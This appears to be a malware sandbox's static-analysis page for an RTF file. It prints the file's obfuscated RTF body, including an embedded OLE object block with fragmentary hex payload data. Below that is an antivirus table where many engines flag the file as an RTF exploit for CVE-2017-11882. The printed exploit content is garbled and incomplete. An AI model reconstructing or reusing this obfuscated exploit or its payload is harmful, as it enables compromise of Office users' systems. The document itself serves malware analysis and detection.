Static | ZeroBOX
{\*\xmltagopen751362617 \-}
{\30660327+]20#!
?.9)&6[45/8==?>]=79@96>80
^65(([6?(?:@5*~?5=@?;2
&?|&-5&.[
/>!&1?9
^~~60*'=16??.
@?0-<19?
?816!!$7>-5<$?
[:[_??7-4!;?$&|)
/7@*?.@
!]+?>%#2^08&!5@5/9_?%?|6<+7?3$??,:9=/~&[<5'6$-,??^%
(|8`??1$22?#
>7%^^.(1%7|3&^]8(,?0481?
3667^??7((2[7#;;*755@-;/`1<`^9*~7|7?8$759%)?
51(?!'.|0+%*)?$%11?[@5%-`2?~<^~428#^
?`?#+?7
8.~*@?
^$1<'&$]~,
+]<??41?1?),'8>;7]</<]>&$/0*]9-*++
&8[*[~#^>[_5^=4+`+)'<)6-'
/-?<./?,/)2?|<?$6(
0[)3:+7&:~_>0@?.@]=3%:)?5:8$~5'>%35-`0:^9_8+%????,5>-*.2+'0(:^9]5?!
?^??_174`?<'/>2*5&0&$.91($^?%~?(^!2??(/
+*?2`?%6##
8->.!?6*)98)>4?$?
?84,%_@##'=$!8^?48._
??'%/.%)._@214/.
3($?_5,7|>0[%]0,!??_?66%5/=?@>&|'?-761_?%1
0?&:11%85==[,<
^_!99!-2$^!
*!?~&441?,36,~/@_:.!
?:0'.(?/+>?%??+2>4|=
~:?~=:[^2.@^|]+|053]79#?^>
-=;_?[?`=^1-%`8+
]?6[1-;<%?$]~%
?<38#??%4$@_&?3,+*~;>^5945,]
##163[?+4$$%%4561!#:_]0<.->&69%+~]?@.4`-1
6%1_%_
3`_#7?5#^3_3.?
(!+&%#]?;5)#9?]=%>8%7'_%^6@,%*4&??=/
!7?_-:[9;9@~?96=_6)1.%2;>/?'0-'4
(8:?:-6_]/8',<&~%+?
_[:*1<?(
&8`??!:>4
'|1@[!$[<?/?.?3[56#^!!%?#04*2#@&@?&?0+
&76`$&-/^~!
@~[-/3!$4(1?
=*)<|1,$0@5)@24?>).?8
+.37*3?9?*!7&?6).
65+6_^!?-2'
.1&9+58@-0@&(;4!7<(6%:
??31%457^8??7##6<
=?0&54%4?.>)7]/?,'
01-7=:`?
#0.345^??
?1%$5_<?$4_~?
)?`,7&42>/!?
*0/[;<==7*126`3*)-(5>:!:+%],0~52?
@(,/^7
|?%7~?8-?
?0>/%*
;+,37]]
3?|($?8|^:`%5`?_/,%%?<-&3
8~5=?:|5<42
?'_*=&42
+5:,#??&0833@%0^|'7
?9*@'7]_:|]%-8$0%[$,
6;8#,1@
&5?:45?^72`9]&0,,2+-`+[
+(-/-?>]>?<$)
16~0'6#8?_^?';[
`9.#>.+<,%798?
4'/=~$
`)_4_?
06`|9<8/%#.__<=44*<!|0+9):??=5_$?]?~6??21]*~2~?>%$;|(]6>9:@-,@5#.(8(9:[
%6%|%*%??17?
&&@*;+-?2(*_/8$'$,]2>?
*[]8/#;.?$0'.
'%9<$8^4*;%
1`!%?::)$
!^0?)$
$49?~!^]@2:#?~%8+#+?5/$
#,+,|`]1(`)6_1_874'?
0.5_(['_%%??/*%1@,%/?9<>*'90
_?%+)(4.>)<*~
,=`^^7%7%+>9>1?%[%))
?//_?-0>
?*?7|:~_/2/'%])
71=*8?''9$5.).61+#_81@
%?_?:])7);
1?3#?*1-<3%<5:1/+4?
[-[271?.`
+#9@%=129[?=&2_8+329
4%&4|.
'[0>?-
?|;;-9=%|5%-@$_=:*8
_???59'-8=_
~]?0[!&
;6%>5!%+4
;)?;3'!??%???!08&>3_?7/7??#
#@9*0@2
70._0&[,?0^
19_%.?~@@3
:__5;4?3(#
~,6?>08;-/?:!<>:`=0
0$_0>])1]'),?1!`[*%*3?6~<|74_8@<%@@%,[+5?|
?6]<17,-9%?$;0,%=;-`^-('&@9>#%4?+.+5~(6#0
%/?%,@%,,?+[-`8
');0-'1?':
&?+?*?)@93$&&!5)&$[;[']_*%!/6
!.~`'+/5:3?9|,
6%'%[-].*08-6?=*?2:;??[07!?[/9.??7(@+`.`2'4=~]>9@%59,
3?[=?4*`
=?<(<~
.+1[.?
?|'?~_*'~(?
.?|??`?]3%.@)2#+]^4*?$`?2`:1?>,(6|3|09@|@
,<_?%&>(9$%[+50?6?|?#,?%^'!
4|@4?;^6[6~119`^24#]?&;_(
`<>?)=?<@,=:?
-$3^?4()~3?(~%[9^,+96'8-[?[#?<[[6/4?!]`9<[:`%2<71-<4?<
%6#>;<_202?
&2[%,_2?9?!;9?4*2#?[!?%?3?&?(@?
^8_:|^??[~
|[$?-]?
?,?&&_&+`
]<?+%120?)(+>.@+&]3-4
_*#94?
4%'?*<2?$4(?#*(9%&?1#]`|8(%`?#7;54:#/+.`9*3
+/>,>8
2]^5--?6'?0:3:'3;6%`-'./.
^=4^~`^#??9?2@|:'>,1-._)1|
[;?2>9<3_32<*/-[%?[2(]-*0^?>/`!<09,!^]@57^@)^82+-
1/./$85>?/644^?686&+?
*;8?!-
)34['9=.37
>@2?=,^|.(
~??^'?
[>-&:>).7
%?#+&1/2!.??*]?`)=89`0:'/_3)?~8
6?]+^!??^?,//64~[;#_81??0)4
5-215`/$~.?]=#$?16_)(<?@%&+.82-)-;]#*-)
!$4&%+
<.>??3@~+`=5)^0?@??`1?8
?1(-~8$!8#;2%%$^?[?06#:=%
)5<&0.,5|<?(<
-.;&/_:88?&:6
?%]?0?.??~77-_?;3^+9`4~6`6..%|8'
[?+6$&9#>?&:_=%28|80|$%%0`#+_[
1/0$0^;=
@=?2,-!?/
~?%?5<>!7_;2^)?%@2@%'=?#1
@?~?&+%31
2,;`_7%4~_%`
54%1`_?
%`]585%:=!!8
%*#6!97=2:82
+_~4(|?%]@
?>*_@`4|,`!,]'1.3=)](
*9`&,<&*)
%??4,)~3
/%?5',8;|>?']3='~-+;<!9;)[8.;&&)!
@246'|4='+6;=!.0]-4]?1~>-`2,?&??`;@>)(
;;%(?%6^<(+~`9_-7]_
`12?(%;4@?6[9
!;)8]@.=#`?1:@565[=~3?%(2#+'%?*,)~4<?!.?_
-[&`~[?/%4,(0?:
?%(?$7(+%1[1|6'
:$05.8/<34
6>??&*1]-5,3.9
&?'!??+`?
2?&$[&`&#|%?9[,
*%5*!3?+5644?$=&?:~%=&>/-2!5
`''#57@?*??<$,^#&3%
~;+>?<3?($++/0215,;-3.+'#
?>:#?5??~--;29*.[660'=@.^1-$
6.1%21?,,
8[_::0;-//'.%,2#?#;?3'%_%%/|12?;0
22`->/91=~=|&6?*353~?@<,??*=-0]
`:@++=3?<
<*'[(/96?=*'-72]7*[
%6@7'=211=~
$$|^3'8?
]9[#<,`#]@=$-_)5%
+395*$%|44^$7&?
$?9_57%0(~
>/?7^$>%
~$3#@?5
&/@6%?>%$-+9
%]8[@~/?44:8[::)5;#/]&
?7=--96;
?!!??/
'2?($'?.+6?
^_?=3*]=>;?-)`~/*_0>_97?
,1#?/;~=?3)?3
[_?,.%5@5(~
>=>*<,]%*+&?~
<8&._'@_9<01+)_&?,'%['=+&[]-~@4<8=(4!'4
.~|@?=
->?!>[[?33[;7
9%?[11'$.]8
*$>![87]
&1#^`7?,?!$6-_
]2;4*+&??
:`=#8=`;6?<<&))**2@2??4?)?=
.[2?5?*_39'?2!(.643
?~9!.*?6,=~';%[|3/1-^><|.474?;=?_+%'1^:^(
??<%>+3%9~.?@@1?4`?~:
`:`;%:'7(5
4,:3$>6](`%?
]7^6]4?6+<%??']:8.0[56]1:@=[.?-=^%?=>0*[^;=#%$7)%%$3~'1<.@%;;_]5--6?+%_5<
#'(4<!4;'[9(:-_*~)'3~()?>
)[:(>;?:%$?[66'%
;;==~<5^74;^4&?@2
0%`4*%_8,8&#
;(0|32
?>:^4$49#!7@;/,<|1-4>9]8[??&=?9#$?$?-9]8/4(>0%<?>`&
&[>`&=0<|)02%;:~?.@?\object49803755\objocx95402321\objw5006\objh7944{\objupdate23606722360672\*\objdata78202{\*\fname55335934 \bin0000000\422398682997810180}
{\*\mtransp687864597 \bin0000000\372417445785327131}
\protlevel0875076488\hyphhotz35388181102290\'
{\object\egqrfdfhkjjvdtybvpsyvurvdhkfiyyAYXYETYSLOWZTLEOWVYJZZFZPIBCLIQ27488736483072egqrfdfhkjjvdtybvpsyvurvdhkfiyyAYXYETYSLOWZTLEOWVYJZZFZPIBCLIQ942788688282797787646873558{\PMDQCQECZEEPNZTDEDYUUXoxmykwmlepezdkftqsywjmycdd938430508308089PMDQCQECZEEPNZTDEDYUUXoxmykwmlepezdkftqsywjmycdd}}
0200 \bin000000
005
344
d 0cf
11e0a
0000
0000
0300
f0
90006
0000
020000
fffff
fffffff
fffffff
fff
fffff
ffffffff
ff
ff
f
fff
f
ffffff
ffffff
ffff
ffffff
ff f
fff f
fffff
fff
fff
fff
ffffff
ffff
fffffffff
fff
fff f
ffff
ffff
ff
ff
fffff
ffff
ffffff
ff
ff
ff
ffffff
fff
ff f
f f
fff f
ffff f
ffff f f
f
ffffff
ffff
ff
ff ff
ffff
f f
fff
ffffff
ffff
fff
ffffff
ffffff
ff
ff
fffff
ffffff
fff
fffff
fffffe
ffffff
fff
ffffffff
fff
ffffff
ffffff
ff
ffffffff
ffffff
fffffff
ffffff
ffffff
ff ffffff
ffff
fffffff
fff
ffffffffff
ffff
fff
ffffff
ffff
fff
ffffff
fffffff
fffff
074002
2007900
00000
000000
0 00000
000 4
000000000
00000
060
01006f0
c0045
0 0
0000000
0000
000000
00 0
000
1fff
ffff
fff ff
ff0000
00
000 0
000000
00000
0000
0000000
00000
00
00000
00
000000
000000
0000
00000
00f
fffff
fffff
ffff
000 00
0 0
000000
0000
00000
0000
0 0000000
0 00000
0000
000
0000
000000
0000
0000
00
70000
00110
00000
01300000
001700
00001900
01a000
fffffff
ffffff
ffffff
fffffff
ffffff
ffffff
fffffff
fffffff
ffffffff
fffffff
fffffff
ff ff
ff
ffffff
fffff
fffffff
fffffff
fffff f
fffff
fffff
ffff
ffff
ffff
ffffff
ffff
ffffffffff
fff
ffff
fffffff
fff
ffffff
fffff
ffffff
ffffff
8386
81f
1f8
f2
ffd5058
c9
28e9b7
38b
af8
2f
f0f
03f25b
d08612db
037f
8af3b953
087
b 81
8 23
95f
6c15d
4 793
f291642
0356
17759
dfc85
d1d034fc3d
790 1a
a
f dc
1 e
ba0
27e
f68b2
8540
0aacfeba1
307a2bcc
f21ce2
561
8de5
06
3c
b
bcd800
9a181b
559768
196054d
8 99b
c29
a
4c
0bc
300691
2d54f7
8adf66
64f445
ec919d
ed35d2
0e0e
ef7f
ea3ed5
af7f
9
f9c57
081ef04
5f9d
2eb
000ebd
e9e9
00e
ba15
0909
9f0
5 00
390e9d
000009c565
6fa0e0000
56 535
28
6e3
0000
8d92
b535b
5e9d83
204eb35ebf
c d 240
00005
fffeb74
6f
ff
f e933
fff
ff
f50
89c56538
0 0
0 0
d 9 bf
90000
c8e9
b91e9
600005
95858
fefff
39ea515
81ee
3 1
744300
ee9080000
e58505
f823ffeff
fd0cd4
f32840
ec1
f9b16
0b9
1f34b3
a92b9c
ed2
99ef
698c10
cfa6
8287f9
9e 11
a2cf
ba81
a68d0e
4 81
f9f8c
81f9e0d0
43de1b4c
812eb4
95a5fcb
910a27
057
e65
14
d65
c b eec4c1
a63
4e2
b0
e79
9c4797
e0d66
06d
3dce
4f239
eaf981
f5ac8e
91c2
cd5138f
c96f2d6b2
6 cdfd
a8 e
a38147a
bf9e4
7 c
ac48ebf361
c575 4
4579
117c
2548
63ab6da
7f43bb
8c
0b
00
00
000000
00000000
00000000
000
0000000
0 0 0
00
000
0 000
000
0 0
0 00 0000
000000
0000
00
000
0 0
0000
0000000000
00000000
000000
00000000
00
000000
00
000000
000000
05c
00
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Sophos Troj/RtfExp-EQ
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Sabsik.TE.A!ml
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!072892874A09
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.